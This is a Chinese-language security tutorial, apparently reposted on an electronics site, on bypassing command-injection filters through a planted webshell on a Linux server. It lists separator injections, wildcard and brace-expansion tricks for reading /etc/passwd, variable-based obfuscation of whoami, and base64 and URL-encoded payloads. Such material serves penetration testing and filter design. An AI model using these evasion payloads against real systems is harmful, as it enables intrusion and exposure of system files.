0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

Linux命令执行Bypass常见姿势介绍

哆啦安全 来源:弥天安全实验室 2023-05-22 16:20 次阅读

0x01实践演示

部署服务器端为Linux系统的http服务,留存get和post方式的一句话木马,用于命令执行测试。(测试思路可以对话Chatgpt)

3bb18086-f879-11ed-90ce-dac502259ad0.png

linux逻辑运算符

; //分号

3bc4a18e-f879-11ed-90ce-dac502259ad0.png

| //仅执行后面那条命令

3bcda9c8-f879-11ed-90ce-dac502259ad0.png

|| //仅执行前面那条命令

3bd67206-f879-11ed-90ce-dac502259ad0.png

& //两条命令都会执行

3bdc6206-f879-11ed-90ce-dac502259ad0.png

&& //两条命令都会执行(注意url编码)

3be64e74-f879-11ed-90ce-dac502259ad0.png

%0a //换行符 %0d //回车符

3bec3334-f879-11ed-90ce-dac502259ad0.png

利用通配符

通配符"?"代表任意一个字符,"*"代表任意个字符

cat%20/etc/pa??wd

3bfbf238-f879-11ed-90ce-dac502259ad0.png

cat%20/etc/pa?*wd

3c04df2e-f879-11ed-90ce-dac502259ad0.png

尝试

cat /*****et*c*/*pas**************************************************swd

3c0e043c-f879-11ed-90ce-dac502259ad0.png

结合上述方式进行组合bypass

echo mt ; whoami

3c271242-f879-11ed-90ce-dac502259ad0.png

使用大括号来绕过空格的限制

{cat,/etc/passwd}

3c2e50ac-f879-11ed-90ce-dac502259ad0.png

{ls,-alth}

3c3b1c9c-f879-11ed-90ce-dac502259ad0.png

命令混淆

whoami wh$1oami who$@ami whoa$*mi

3c42f8d6-f879-11ed-90ce-dac502259ad0.png

命令变形

/*/bin/wh*mi /us*/*in/who*mi /*s?/*?n/w?o*i

3c50c556-f879-11ed-90ce-dac502259ad0.png

3c5c7374-f879-11ed-90ce-dac502259ad0.png

3c64d2ee-f879-11ed-90ce-dac502259ad0.png

base64编码方式进行

echo id|base64 echo id|base64

3c7289c0-f879-11ed-90ce-dac502259ad0.png

URL编码

%28%22%65%5c%63%68%6f%20%5c%69%5c%64%7c%62%61%73%65%36%34%22%29%3b

3c784a86-f879-11ed-90ce-dac502259ad0.png






审核编辑:刘清

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • Linux系统
    +关注

    关注

    4

    文章

    558

    浏览量

    26844
  • URL
    URL
    +关注

    关注

    0

    文章

    130

    浏览量

    14807
  • ChatGPT
    +关注

    关注

    27

    文章

    1372

    浏览量

    3997
收藏 人收藏

    评论

    相关推荐

    介绍一些实用的Linux命令

    作为一名软件开发人员,掌握 Linux 命令是必不可少的技能。即使你使用 Windows 或 macOS,你总会遇到需要使用 Linux 命令的场合。例如,大多数 Docker 镜像都
    发表于 08-01 16:12 173次阅读
    <b class='flag-5'>介绍</b>一些实用的<b class='flag-5'>Linux</b><b class='flag-5'>命令</b>

    Linux重启命令介绍

    下面介绍Linux 操作系统中重启和关闭相关的命令:shutdown、reboot、init、halt、poweroff、systemctl,你可以根据需要来选择适合的 Linux
    发表于 10-13 15:33

    Linux常见命令有哪些

    摘要:这是对周立功编著的《嵌入式Linux开发教程》的第7期连载。本期刊载内容有关LinuxLinux常见命令中的导航命令、目录命令和文件
    发表于 10-28 10:06

    学习常见Linux命令

    一、学习常见Linux命令(1)文件操作命令主要包括查看文件命令(ls)、显示文件内容命令(c
    发表于 11-05 08:43

    Linux重启命令介绍

    下面介绍Linux 操作系统中重启和关闭相关的命令:shutdown、reboot、init、halt、poweroff、systemctl,你可以根据需要来选择适合的 Linux
    发表于 01-28 15:58 717次阅读

    嵌入式Linux开发教程:Linux常见命令(上篇)

    摘要:这是对周立功编著的《嵌入式Linux开发教程》的第7期连载。本期刊载内容有关LinuxLinux常见命令中的导航命令、目录命令和文件
    发表于 10-21 13:36 11次下载
    嵌入式<b class='flag-5'>Linux</b>开发教程:<b class='flag-5'>Linux</b><b class='flag-5'>常见</b><b class='flag-5'>命令</b>(上篇)

    linux技术:WAF运行命令执行方法

    如果命令执行的时候遇到拦截命令关键词的时候可以利用如下方法绕过: "和^是CMD命令中最常见的转义字符,还有成对的括号并不会影响
    发表于 11-07 20:27 694次阅读

    如何在Linux使用touch命令

    Linux touch命令用于更改文件时间戳。但touch命令的最常见用法是创建文件。
    的头像 发表于 12-05 17:21 1644次阅读

    常用Linux命令介绍

    linux命令是对Linux系统进行管理的命令。对于Linux系统来说,无论是中央处理器、内存、磁盘驱动器、键盘、鼠标,还是用户等都是文件,
    的头像 发表于 02-09 14:31 804次阅读

    Linux命令执行Bypass常见姿势

    部署服务器端为Linux系统的http服务,留存get和post方式的一句话木马,用于命令执行测试。(测试思路可以对话Chatgpt)
    的头像 发表于 05-22 16:21 520次阅读
    <b class='flag-5'>Linux</b><b class='flag-5'>命令</b><b class='flag-5'>执行</b><b class='flag-5'>Bypass</b><b class='flag-5'>常见</b><b class='flag-5'>姿势</b>

    常用linux网络排查命令

    今天浩道跟大家分享linux网络运维中常见命令,掌握好这些命令,在排查故障时将会游刃有余!
    发表于 06-25 10:49 486次阅读

    shell命令linux命令一样吗

    Shell命令Linux命令并不完全一样。 首先,Shell是一种命令行解释器,它是用来解释和执行用户输入的
    的头像 发表于 11-08 10:51 1011次阅读

    linux重启命令有哪些

    Linux是一种自由和开放源代码的操作系统,被广泛应用于服务器和嵌入式设备。在Linux中,有多种命令用于重启系统。在本文中,我们将详细介绍常用的L
    的头像 发表于 11-17 09:49 992次阅读

    uboot命令执行过程是什么

    U-boot是通过执行u-boot提供的命令来加载Linux内核的,其中 命令bootm的功能 即为从memory启动Linux内核映像文件
    的头像 发表于 12-04 17:31 287次阅读

    bypass电容多大 bypass电容怎么计算

    的完整性。本文将详细介绍Bypass电容的计算方法和常见应用。 一、Bypass电容的作用及原理 Bypass电容通常被用于电源和地之间的连
    的头像 发表于 02-14 17:56 2991次阅读